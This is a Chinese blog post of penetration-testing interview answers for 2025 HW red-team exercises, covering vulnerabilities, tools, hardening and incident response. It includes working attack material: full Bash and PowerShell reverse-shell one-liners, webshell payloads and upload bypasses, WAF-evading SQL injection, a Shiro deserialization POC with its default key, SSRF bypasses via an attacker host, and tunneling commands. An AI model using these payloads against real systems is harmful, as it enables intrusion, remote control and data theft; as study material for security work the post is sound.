2025年渗透测试面试题总结-2025年HW(护网面试) 80(题目+回答)

安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。

目录

 2025年HW(护网面试) 80

一、有趣的挖洞经历:JSONP劫持+组合漏洞攻破企业内网

二、高频漏洞TOP3与修复方案

三、渗透工具链与特性

四、WAF绕过实战技巧

SQL注入绕过

Webshell上传

五、系统提权核心思路

六、开源组件高危漏洞精选

七、深度剖析CVE:Shiro RememberMe反序列化(CVE-2016-4437)

八、反序列化漏洞原理与防御

九、服务器入侵应急响应流程

十、SQL注入全维度解析

十一、中间件解析漏洞利用

十二、系统与数据库加固指南

十三、CDN真实IP探测技术

十四、渗透测试标准化流程

实战案例:某次红队行动中,通过Git源码泄露(/.git/)获取数据库配置,利用弱口令进入后台,结合Struts2漏洞(S2-045)获得系统权限。

十五、反弹Shell与内网渗透

选择原因:Bash在Linux系统兼容性最佳,PowerShell支持.NET对象操作便于内网扩展。

十六、SSRF漏洞攻防全景

十七、内网穿透工具与实战

 2025年HW(护网面试) 80

介绍一下自认为有趣的挖洞经历(或CTF经历)
你平时用的比较多的漏洞是哪些?相关漏洞的原理?以及对应漏洞的修复方案?
你平时使用哪些工具?以及对应工具的特点?
如果遇到waf的情况下如何进行SQL注入/上传Webshell怎么做?
谈谈Windows系统与Linux系统提权的思路?
列举出您所知道的所有开源组件高危漏洞
描述一个你深入研究过的 CVE 或 POC
php/java反序列化漏洞的原理?解决方案?
如果一台服务器被入侵后,你会如何做应急响应?
介绍 SQL 注入漏洞成因,如何防范?注入方式有哪些?除了数据库数据,利用方式还有哪些?
常见的中间件解析漏洞利用方式
Windows、Linux、数据库的加固降权思路
如何绕过CDN获取目标网站真实IP,谈谈你的思路
如果给你一个网站,你的渗透测试思路是什么? 
你实际的渗透测试经历等等
反弹 shell 的常用命令?一般常反弹哪一种 shell?为什么?
SSRF漏洞的成因 防御 绕过?
有哪些反向代理的工具,有没有实际的内网渗透经历?

一、有趣的挖洞经历:JSONP劫持+组合漏洞攻破企业内网

场景:某金融系统存在未授权JSONP接口泄露用户身份信息,同时子域存在CORS配置错误。
利用链

  1. 通过JSONP获取当前登录用户的员工ID(如callback({"uid":"A001"})
  2. 构造恶意页面诱导用户访问,利用CORS漏洞以用户身份请求内网系统(Origin: attacker.com + Access-Control-Allow-Origin: *
  3. 劫持用户会话访问敏感业务系统,最终通过上传漏洞获取Webshell
    关键点:漏洞组合利用突破同源策略,实现从外网到内网的横向渗透。

二、高频漏洞TOP3与修复方案

漏洞类型原理修复方案
SQL注入用户输入拼接SQL语句导致逻辑篡改预编译(PreparedStatement)+ 输入过滤特殊字符(如MySQL mysql_real_escape_string()
SSRF服务端未校验URL参数,可访问内网资源白名单校验协议/域名 + 禁用重定向(如Java的UrlValidator
反序列化未校验反序列化数据导致恶意代码执行禁用危险类(如PHP的unserialize_callback_func)+ 签名验证数据

三、渗透工具链与特性

  1. Burp Suite:流量拦截/重放(Repeater模块)+ 漏洞扫描(Scanner)
  2. Sqlmap:自动化注入(支持时间盲注、堆叠查询等)
  3. Cobalt Strike:内网渗透(Beacon命令控制 + Socks代理)
  4. Chisel:轻量级隧道工具(TCP/UDP端口转发)
  5. Impacket:Windows协议攻击库(如psexec.py 执行远程命令)

四、WAF绕过实战技巧

SQL注入绕过
sq/* 分块传输编码绕过 */ POST /login HTTP/1.1 Transfer-Encoding: chunked 3; id =1 0 /* 注释符混淆 */ UNION/**/SELECT 1,2,version()-- -
Webshell上传
  1. 双扩展名绕过:shell.php.jpg
  2. 图片马注入:exiftool -Comment='<?=system($_GET[0]);?>' image.jpg
  3. 内容混淆:在PHP文件中插入GIF头GIF89a; <?php ... ?>

五、系统提权核心思路

系统提权路径实例
Windows服务路径劫持 + DLL注入利用AlwaysInstallElevated策略安装恶意MSI
LinuxSUID程序滥用 + 内核漏洞查找find / -perm -4000 2>/dev/null后利用CVE-2021-4034(Polkit提权)

六、开源组件高危漏洞精选

  1. Log4j2 (CVE-2021-44228):JNDI注入导致RCE
  2. Fastjson (CVE-2017-18349):反序列化任意代码执行
  3. Shiro (CVE-2020-1957):权限绕过
  4. Spring (CVE-2022-22965):表达式注入(SpEL)

七、深度剖析CVE:Shiro RememberMe反序列化(CVE-2016-4437)

漏洞原理
Shiro使用AES加密Cookie,但密钥硬编码在代码中。攻击者构造恶意序列化数据,加密后作为rememberMe Cookie发送,服务端解密时触发反序列化RCE。
POC关键代码

javaSimplePrincipalCollection principals = new SimplePrincipalCollection(); byte[] payload = Serializer.serialize(new CommonsBeanutils1().getObject(command)); AesCipherService cipher = new AesCipherService(); byte[] key = Base64.decode("kPH+bIxk5D2deZiIxcaaaA=="); ByteSource ciphertext = cipher.encrypt(payload, key); return ciphertext.toString(); 

八、反序列化漏洞原理与防御

PHP反序列化

  • 原理:unserialize()自动触发魔术方法(如__wakeup(), __destruct()
  • 防御:禁用unserialize() + 使用json_decode()替代
    Java反序列化
  • 原理:ObjectInputStream.readObject() 调用链触发Gadget(如Apache Commons Collections的Transformer链)
  • 防御:JEP 290过滤机制 + 替换反序列化库(如Fury)

九、服务器入侵应急响应流程

  1. 隔离:断网 + 备份内存镜像(volatility -f memdump imageinfo
  2. 取证
    • 进程分析:ps auxf / tasklist
    • 后门检测:rkhunter --check / chkrootkit
    • 日志审计:journalctl -u sshd --since "2025-07-30"
  3. 溯源:分析Web日志(如Apache的access_log中的攻击IP)
  4. 加固:修复漏洞 + 最小权限原则(如MySQL降权)

十、SQL注入全维度解析

注入方式

  • 联合查询:UNION SELECT null,@@version,null
  • 布尔盲注:id=1' AND substring(version(),1,1)='5'--
  • 报错注入:exp(~(SELECT * FROM (SELECT USER())a))
    进阶利用
  • 读取文件:LOAD_FILE('/etc/passwd')
  • 写Webshell:SELECT '<?php eval($_POST[0]);?>' INTO OUTFILE '/var/www/shell.php'

十一、中间件解析漏洞利用

中间件漏洞形式
Nginx路径解析错误:/test.jpg/.php
Apache多扩展名解析:test.php.xxx
IIS 6.0分号截断:shell.asp;.jpg

十二、系统与数据库加固指南

Linux降权

bash# 创建低权用户 useradd -M -s /sbin/nologin appuser # 限制目录访问 chroot /var/www && setenforce 1 

Windows加固

  • 关闭高危服务:net stop LanmanServer
  • 启用LSA保护:REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL /t REG_DWORD /d 1
    MySQL加固
sqlREVOKE FILE ON *.* FROM 'webuser'@'localhost'; ALTER USER 'root'@'localhost' IDENTIFIED WITH caching_sha2_password BY 'NewPassword123!'; 

十三、CDN真实IP探测技术

  1. 历史DNS记录:查询securitytrails.com 获取旧A记录
  2. 子域爆破subfinder -d target.com 发现未接入CDN的子域(如dev.target.com
  3. 邮件服务器溯源:注册账号触发邮件,从邮件头提取发送服务器IP
  4. SSL证书匹配censys.io 搜索相同证书的IP

十四、渗透测试标准化流程

mermaidgraph TD A[信息收集] --> B[漏洞扫描] B --> C{是否存在漏洞?} C -->|是| D[漏洞利用] C -->|否| E[社会工程测试] D --> F[获取初始权限] F --> G[内网横向移动] G --> H[数据提取+权限维持]

实战案例:某次红队行动中,通过Git源码泄露(/.git/)获取数据库配置,利用弱口令进入后台,结合Struts2漏洞(S2-045)获得系统权限。

十五、反弹Shell与内网渗透

常用Shell类型

bash# Bash(最通用) bash -c 'exec bash -i &>/dev/tcp/10.0.0.1/4444 <&1' # PowerShell(Windows) powershell -c "$client = New-Object System.Net.Sockets.TCPClient('10.0.0.1',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()" 

选择原因:Bash在Linux系统兼容性最佳,PowerShell支持.NET对象操作便于内网扩展。

十六、SSRF漏洞攻防全景

绕过技巧

  • 进制编码:http://2130706433 (127.0.0.1的十进制)
  • 重定向:http://attacker.com/redirect.php?url=file:///etc/passwd
  • DNS重绑定:http://<恶意域名>:80(TTL=0多次解析)
    防御方案
  • 协议白名单:仅允许HTTP/HTTPS
  • 禁用非必要端口(如22, 6379)

十七、内网穿透工具与实战

反向代理工具对比

工具协议特点
frpTCP/UDP多级跳板 + 加密传输
ngrokHTTP快速部署 + 临时域名
reGeorgHTTP基于Websocket绕过防火墙
内网渗透实例
  1. 通过Webshell上传reGeorg代理脚本
  2. 本地执行:python reGeorgSocksProxy.py -p 1080 -u http://target.com/tunnel.php
  3. 使用Proxychains扫描内网:proxychains nmap -sT 192.168.1.0/24
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值